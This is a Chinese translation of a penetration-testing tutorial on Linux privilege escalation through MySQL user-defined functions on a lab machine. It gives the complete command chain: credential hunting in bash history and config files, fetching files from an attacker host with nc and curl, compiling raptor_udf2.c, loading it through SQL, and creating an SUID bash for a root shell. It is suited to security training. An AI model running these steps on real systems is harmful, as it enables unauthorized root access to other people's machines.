本文通过 Google 翻译 MySQL User Defined Functions – Linux Privilege Escalation 这篇文章所产生,本人仅是对机器翻译中部分表达别扭的字词进行了校正及个别注释补充。
在本篇文章中,我们将学习如何通过滥用 MySQL 中的用户定义函数 (UDF) 来提升我们在 Linux 目标机上的权限。通过发现一些错误的配置选项并找到 MySQL 数据库的密码,攻击者可以利用 UDF 漏洞从标准用户提升到 root 用户。让我们来看看是如何做到的!
首先,我们将在一台受害 Linux 主机上手动列举该漏洞利用的必要条件。接下来,我们将通过两种不同的方式寻找数据库密码。然后,我们将了解如何利用一款名为 LinPEAS 的优秀工具,自动为我们枚举所有条件,并为我们找到密码。然后,我们将访问 MySQL 数据库并进一步枚举,以确定我们有能力在这台主机上滥用 UDF。最后,我们将制作漏洞利用程序,并按照 C 文件注释中的步骤执行命令,最终获得 root shell。
用户定义函数(即UDF)是一种通过创建或添加像内置 MySQL 函数一样的新函数来扩展 MySQL 功能的方法。
通过使用 UDF,我们可以创建“本地命令”代码,以便在 MySQL 宿主机的操作系统上执行。为此,我们需要编写一个库(通常是 C/C++),将库编译成共享对象,然后将共享对象放入插件目录,最后在 MySQL 中创建一个函数来执行我们的共享对象文件。
作为攻击者,我们需要对此进行分解,并思考如何加以滥用。考虑到我们在 MySQL 内部创建了一个函数,用于在 MySQL 服务宿主机的文件系统上执行命令,我们如何利用这个函数进行恶意攻击应该是显而易见的,尤其是如果我们能以 root 身份执行命令的话。
在此示例中,我们作为标准用户“Juggernaut”在 Linux (Ubuntu 16.04) 目标上获得了立足点。
由于这个 shell 不是使用 SSH 创建的,因此我们在获得立足点后要做的第一件事就是将 shell 升级到完整的 TTY(如果可以的话)。我们可以使用以下命令来完成此操作:
python -c 'import pty;pty.spawn("/bin/bash");'
CTRL + Z
stty raw -echo;fg
现在我们有了完整的 TTY,我们可以使用箭头浏览命令历史记录、使用制表符补全、清除终端等。
当您尝试直接在受害者主机上访问 MySQL 时,上述步骤非常重要。如果您不升级到完整 TTY,您将不会看到密码提示,因为它是交互式的。
这也意味着如果没有完整的 TTY,便无法通过受害主机 Shell 正常登录 MySQL,此时要与该 MySQL 交互就需要通过隧道进行端口转发流量,然后通过攻击机本机的MySQL 客户端进行连接交互。
完成这一步后,我们就可以开始集中精力进行枚举了。首先,我们将了解如何使用手动方法枚举所需的条件,然后使用 LinPEAS 自动查找所有相同的信息。要确定这种攻击是否可行,我们需要找到很多东西,因此让我们先进行一些手动枚举。
要确定 MySQL 是否可以进行 UDF 攻击,我们需要确定几件事。首先,我们需要确定 MySQL 是否正在运行。默认情况下,MySQL 运行在 3306 端口上,并分配给 localhost (127.0.0.1)。这意味着该服务只能从目标主机本地访问,外部无法访问。不过,如果我们在最初的 nmap 扫描中发现 MySQL 可以从外部访问,那么这一步就已经完成了。
要检查 MySQL 是否正在运行,我们可以使用以下 netstat 命令:
netstat -tulpn
这表明 MySQL 正在目标主机本地运行,因为本地地址是 127.0.0.1。
接下来,我们要找出谁是进程所有者(服务以谁的身份运行)。默认情况下,这将是 "mysql" 服务账户,但也可以将其更改为包括 root 用户在内的任何用户。
我们可以使用以下命令检查服务所有者:
ps -ef | grep mysql
Amazing!我们发现 MySQL 服务(进程)的所有者是 root。这也让我们知道,如果我们能够发现可以通过数据库超级用户访问该数据库并且服务本身也有一些其他错误配置,那么我们就能滥用 UDF,并以 root 身份执行操作系统命令!
好吧,我们发现该服务正在内部运行,并且以 root 身份运行,所以现在我们需要确定正在运行的版本。
mysql -V
从这个输出中,我们最感兴趣的是“Distrib”编号,在本例中为5.7.34,这对我们来说是个好消息,因为我们将使用的 UDF 漏洞适用于 MySQL / MariaDB 版本 4.X 和 5.X 。
这个漏洞涵盖多个版本的 MySQL,因为它针对的不是传统意义上的漏洞。UDF 是一种预期功能,旨在允许从 MySQL 内部读/写宿主机文件系统;然而,当 MySQL 服务/进程被错误配置(以root运行进程)或修改为允许过多访问(可在外部登录访问)或 "松散权限 "时,我们就会发现自己处于可以利用此服务并提升访问权限的位置。
接下来,我们需要找到一种访问数据库的方法。为此,我们需要找到允许我们登入的凭据。
默认情况下,MySQL 服务器的 root 密码为空,因此我们首先应该尝试不使用密码登录,看看是否是这种情况。我们可以尝试使用以下命令以 root 身份登录:
mysql -u root
这要么让我们直接进入,要么告诉我们由于未提供密码而导致访问被拒绝。
在这里我们可以看到root帐户确实需要密码。
在此需要明确的一点是,MySQL 的 "root" 账户只是 MySQL 服务的超级用户账户,这与文件系统上的 root 账户不同。
接下来,我们应该尝试另一个常见的默认密码,即 toor 。为了提示我们输入密码,我们需要将“-p”标志传递到 mysql 命令中。
mysql -u root -p
在提示输入密码后,我们输入了 "toor",但也无法进入!这意味着我们需要开始寻找密码,希望能找到根密码。
我们可以在文件系统的许多地方查找凭据。我们在初始枚举和后枚举过程中发现的任何用户名和/或密码都应放入记事本中,这样我们就可以在任何地方尝试插入这些用户名和密码。
此外,还有一些特定的地方我们最有可能找到 MySQL 凭据。
首先,我们应该始终检查当前用户主目录中的 .bash_history 文件,以及我们有权访问的任何其他用户主目录。这应该是我们进行漏洞挖掘后的首要步骤之一,因为它可以让我们快速、轻松地获胜。
cd /home && ls -l
在这里我们可以看到 /home 目录中只有一个用户目录,因此我们将从这里开始。
如果此处有多个用户目录,请尝试访问所有目录。您永远不知道您可能会发现您有权访问什么...例如,另一个用户的 bash 历史文件!请注意,我们在这里没有看到 root 的主配置文件,因为 root 主配置文件位于 /root。另外请注意,bash 历史记录文件是隐藏的, 可以使用 ls -la 查看
cd juggernaut && cat .bash_history
BOOM!在 bash 历史文件中,我们可以看到用户尝试直接在命令行上传递完整凭据来登录 MySQL。
root:SuperS3cureP@ssw0rd
我们通常会找到 MySQL 凭据的第二个地方是 webroot 目录。它通常位于 /var/www,该目录还包含我们在获得立足点之前使用 gobuster 或 dirb 等工具对子目录进行模糊测试时找到的网页。
大多数情况下,我们会寻找配置 PHP 文件。但是,我们也可以在许多可能的文件类型中找到数据库凭据,包括 TXT 文件、bash 脚本、其他脚本、ZIP 文件、其他压缩文件类型(tar、gz 等)、DB 文件等等。
导航到 /var/www/,我们可以看到这里有一些文件,但“config.php”最为突出。
cd /var/www && ls -l
当我们检查该文件时,我们可以看到它用于以 root 身份访问 MySQL 数据库,并显示明文用户名和密码。
现在我们有了用户名和密码,我们可以在受害机器上本地访问数据库;不过,在此之前,让我们看看 LinPEAS 是如何自动枚举我们刚刚找到的所有内容。
LinPEAS 是一款终极的后漏洞枚举工具,因为它提供了大量信息。在受害者上运行它后,我们将看到通过手动枚举发现的所有相同内容,甚至更多。然而,在使用工具之前展示手动步骤非常重要,这样我们才能理解输出结果以及要查找的内容。
如果您没有 LinPEAS 的副本,您可以在这里获取一份。
一般来说,当我们执行 LinPEAS 时,我们将不带参数运行以进行“所有检查”,然后从上到下逐行梳理所有输出。
运行完整扫描时的一个好技巧是将 PEAS 的输出重定向到一个文件,以便使用 grep 快速解析常见漏洞和关键字。
获取 LinPEAS 的副本后,我们需要将副本传输给受害者。我们可以通过多种方式来完成此操作,但在本示例中,我们将使用 netcat。
从 linpeas.sh 所在的目录中,我们可以在攻击者计算机上运行以下命令,将文件提供给受害者:
nc -nvlp 443 < linpeas.sh
回到受害者,我们需要导航到具有写入权限的文件夹,通常是我们的 home 目录、/tmp 目录或 /dev/shm 目录。我个人喜欢 /dev/shm,因此我们将导航到那里,然后使用以下命令下载 LinPEAS:
cd /dev/shm
nc 172.16.1.30 443 > linpeas.sh
当正确完成此操作后,我们应该看到受害者签入到我们的攻击者机器,并且两个提示都会挂起。让它静置一分钟,然后终止攻击者计算机上的提示,这样它就不会终止受害者上的 shell。
在这里我们可以看到受害者 - 172.16.1.175,登录到了我们的攻击者机器 - 172.16.1.30。大约一分钟后,我们可以简单地使用CTRL + C 来终止攻击者计算机上的会话,并再次释放受害者的提示。之后,我们需要使用 ls -l 检查两侧的文件,确保它们的大小相同(完整性完好),这将表明传输成功。
完美,一切都匹配!现在我们需要使用 chmod + x 或 chmod 755 授予文件执行权限。
好吧,剩下要做的就是执行脚本,然后查看输出。
./linpeas.sh
向下滚动,我们发现第一个必要条件是 MySQL 进程在Processes、Crons、Timers、Services and Sockets 部分中以 root 身份运行。
进一步滚动,我们来到 Software Information 部分,在这里我们可以看到正在运行的 MySQL 版本以及 LinPEAS 执行的一些检查,以查看 root 帐户是否使用空白密码或“root”或“toor”作为密码。
继续,我们到达 Interesting Files 部分,我们在其中找到 Web 文件,其中 config.php 脱颖而出。
再往下,我们遇到了有趣的历史文件字符串,并且发现了 MySQL 凭据,就像我们在 .bash_history 文件中所做的那样。
再往下一点,我们可以看到 LinPEAS 发现 config.php 文件很有趣,并专门为此设置了一个检查,在本例中,它恰好为我们转储了凭据!
在这种情况下,它没有转储用户名,但从 "db "部分,我们可以推断出这是一个 DB 用户。我们还可以检查文件以确定,因为我们知道这就是之前在 webroot 目录中看到的 config.php 文件。
Amazing! LinPEAS 确实是一头野兽!它找到了我们手动枚举的所有内容,包括 MySQL root 用户的密码。
现在我们已经找到了 MySQL root 用户的用户名和密码,我们应该登录 MySQL 并执行进一步的枚举。
mysql -u root -p
当提示输入密码时,我们输入 SuperS3cureP@ssw0rd,然后我们就可以访问 MySQL。当密码输入正确后,我们将看到 mysql> 提示符。
由于我们是MySQL超级用户(root),因此我们应该拥有该帐户的完全访问权限;但是,我们可以使用以下命令确认这一点:
SHOW GRANTS;
这证实我们拥有所有权限,这是我们作为 root 所期望的。不过,有时我们可能会遇到 MySQL 的非 root 账户凭据。在这种情况下,我们需要使用 SHOW GRANTS 来检查我们拥有哪些权限。我们也可能发现该账户不是 "root",但仍然是超级用户。
我们还想知道 secure_file_priv 的位置。secure file priv 是 MySQL 中的一个设置,用于限制数据可以从哪里写入 MySQL。如果将其设置为我们没有写入权限的文件夹,那么一切都完了。我们可以使用以下命令检查:
SHOW VARIABLES LIKE 'SECURE_FILE_PRIV';
幸运的是,我们可以看到这里是空白的,这说明我们可以从系统中的任何文件位置写入 MySQL。
最后,在这里我们还可以获取插件文件夹的位置。后面当我们制作漏洞并将其加载到 MySQL 时,这将非常重要。
SHOW VARIABLES LIKE 'PLUGIN_DIR';
插件文件夹是默认共享对象所在的位置,也是唯一可以从中加载共享对象的文件夹。该文件夹由 root 拥有,但由于MySQL进程以 root 身份运行,所以当我们在 MySQL 内执行命令来移动我们的漏洞利用文件时,这些操作将以 root 身份在实际文件系统上执行,这将允许我们将文件移动到归 root 所属的文件夹。
上面我们已经彻底枚举了 MySQL,现在我们可以进入攻击的下一个阶段。
在此示例中,我们将使用 raptor_udf2.c UDF 漏洞利用,可以通过搜索 exploit-db 或 GitHub 找到该漏洞。幸运的是,由于这个漏洞利用在exploit-db上,如果我们使用Kali,那么这个漏洞就已经在我们的系统上。
为了定位 UDF 漏洞,我们可以使用名为 searchsploit 的工具,其语法如下:
searchsploit udf
在这里我们看到有两个 UDF 漏洞利用彼此相似。然而,较新的版本包括 MySQL 版本 5.x,也是我们将在此处使用的版本(1518.c)。
接下来,我们希望将其复制到我们的工作目录中,以便我们可以在将其传输到受害者之前仔细查看。
要将漏洞利用程序复制或镜像到我们当前的工作目录中,我们可以将 -m 开关与 searchsploit 一起使用,如下所示:
searchsploit -m 1518.c
为了真实性,我们将这个漏洞重命名为 raptor_udf2.c,然后使用 head 命令查看注释。
mv 1518.c raptor_udf2.c
head -50 raptor_udf2.c
第一条注释说明提到,当 MySQL 以 root 身份运行时,此漏洞可用于通过 MySQL 进行本地权限升级,我们已经发现受害者就是这种情况。
接下来,它会告诉我们如何编译和使用漏洞利用程序。我们需要针对当前机器对命令做一些修改。
现在我们已经找到了要使用的漏洞,我们需要将其下载到受害者上。
在攻击者机器上,我们可以使用以下命令在工作目录的端口 80 上设置 HTTP 服务器:
python3 -m http.server 80
回到受害者,我们可以使用 cURL 或 wget 从攻击者计算机下载文件。在此示例中,我们将使用 cURL。
curl 172.16.1.30/raptor_udf2.c -o raptor_udf2.c
Perfect!我们现在已经找到了我们的漏洞并将其下载到受害者身上。接下来我们需要编译它。
编译前首先需要检查编译环境。有几种方法可以检查受害者是否安装了gcc 。
首先,我们可以尝试运行 gcc 并看看它说了什么。它要么会说需要安装,要么会告诉您如何正确使用该命令。不管怎样,这都会告诉我们 gcc 是否在系统上。至少,它告诉我们 gcc 是否在我们的 PATH 中。
gcc
这个错误告诉我们 gcc 已经安装了,这就完美了!有了这些信息,我们知道我们将能够直接在受害者上编译我们的漏洞利用程序。
如果 gcc 不在你的 PATH 中并且它说你需要安装它,那么不要立即放弃。您永远不知道 gcc 是否 正好位于系统上不在您的 PATH 中的其他位置。虽然可能性不大,但应该进行检查。
要查找 系统上 gcc 的所有实例,我们可以使用 find 命令。
find / -iname "gcc" 2>/dev/null
我们可以看到这里找到了很多 gcc 的实例 ,然而其中很多都是目录。/usr/bin/gcc 是我们的 PATH 中的位置,这就是为什么我们可以通过调用命令 gcc 来执行它 ,而不需要二进制文件的完整路径。
同样,如果我们发现 gcc 没有安装,我们应该进行上述搜索,然后检查每一个以确认 gcc 确实不在系统上,然后再放弃。
由于我们发现受害者上安装了gcc ,因此我们可以继续按照注释中的步骤编译漏洞利用程序。
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
当尝试编译此漏洞时,我们遇到错误,这种情况并不总是发生;但是,当出现这种情况时,它会提供有关如何解决问题的说明。
从输出中,我们可以看到第一个命令有效并且创建了.o目标文件,但在第二个命令中,提示该目标文件无法用于创建共享对象,需要使用-fPIC重新编译。由于问题源于目标文件,因此我们需要将-fPIC添加到创建目标文件时运行的第一个命令中。
为此,我们需要删除我们创建的目标文件并再次执行第一条命令,这次附带 -fPIC。
rm raptor_udf2.o
gcc -g -c raptor_udf2.c -fPIC
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
这次没有报错,并且共享对象文件(.so)文件也已成功创建!
现在我们的漏洞已经创建,我们可以进入 MySQL,然后加载它并以 root 身份执行命令!
至此,我们已经找到了漏洞利用的所有必要条件,如:MySQL以 root 身份运行、MySQL版本为5.x、MySQL超级用户凭据、安全文件权限设置为NULL(空白)、成功编译exploit。
到这里,我们只需以超级用户的身份访问 MySQL,然后按照注释中的步骤即可实现命令执行。
首先,我们将以 root 身份访问 MySQL 服务并 use mysql 数据库,创建一个名为“foo”的表,然后将 raptor_udf2.so 漏洞加载到该表中。再次强调,我们不能仅仅从评论中复制粘贴,我们需要编辑与受害者和我们的漏洞位置相关的命令(/tmp)。
mysql -u root -p
use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/raptor_udf2.so'));
好吧…第一步已成功执行。现在我们需要做的就是将表 "foo "中的漏洞加载到 dumpfile 中,这基本上就是将文件复制到插件目录中,以便将共享对象的功能集成到 MySQL 中。之后,剩下的工作就是创建一个使用共享对象的函数,然后在获得 root shell 之前执行 POC 命令!
之前,在我们最初的枚举中,我们检查了插件目录。这对于这一步很重要,因为我们的插件文件夹位置与注释中的位置不同。
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';
在这里我们可以看到我们又遇到了一个错误!一般来说,这会正常工作,不会出现任何错误;然而,在极少数情况下确实会发生这种情况,实际上有一个非常简单的修复方法。由于该服务以 root 身份运行,因此我们只需在 MySQL 中执行简单的复制即可将漏洞利用程序复制到插件目录中。
快速检查插件目录,我们可以看到,出现错误的原因是因为文件被转储到插件目录中的字节大小为 1。
要从数据库内部复制文件,我们可以使用以下命令:
\! cp /tmp/raptor_udf2.so /usr/lib/mysql/plugin
现在,如果我们将会话置于后台(CTRL + Z),我们将看到该文件已以正确的字节数添加到插件目录中。
现在问题都解决了,我们可以再次尝试创建函数。这次应该不会出错了,因为文件的字节数是正确的。
成功了!我们可以使用以下命令确认该函数已成功创建:
select * from mysql.func;
Perfect!这证实一切都已就位,并准备好让我们对共享对象文件进行恶意攻击!
对于 POC,我们可以使用以下命令创建一个 txt 文件,该文件将确认我们以 root 身份执行命令:
select do_system('whoami > /tmp/whoami.txt');
虽然它显示“0”,但执行成功,通过再次将会话置于后台,我们可以在 /tmp 中看到 TXT 文件,并且它属于 root!
Amazing! POC 成功,我们正式以 root 身份执行命令!现在我们可以使用 1-liner 将反向 shell 发送回攻击者,或者我们可以做一些更简单的事情,只需将 bash 二进制文件复制到 /tmp 文件夹中并在其上设置 SUID 位。
select do_system('cp /bin/bash /tmp/bash ; chmod +s /tmp/bash');
这次,当我们再次检查 /tmp 目录时,我们看到 bash 的副本现在位于 /tmp 文件夹中,该文件夹由 root 拥有并设置了 SUID 位。
SUID(执行时设置所有者用户 ID)是一种特殊的文件权限。通常情况下,当你运行一个程序时,它会以你当前的用户身份运行。但当一个程序设置了 SUID 位,程序就会以该文件所有者的身份运行!基本上,root 拥有的 SUID 二进制文件将以 root 的身份运行,无需使用 sudo。
最后,要进入 root shell,我们可以简单地使用以下命令:
/tmp/bash -p
就这样…我们得到了 root shell,现在可以完全控制受害者!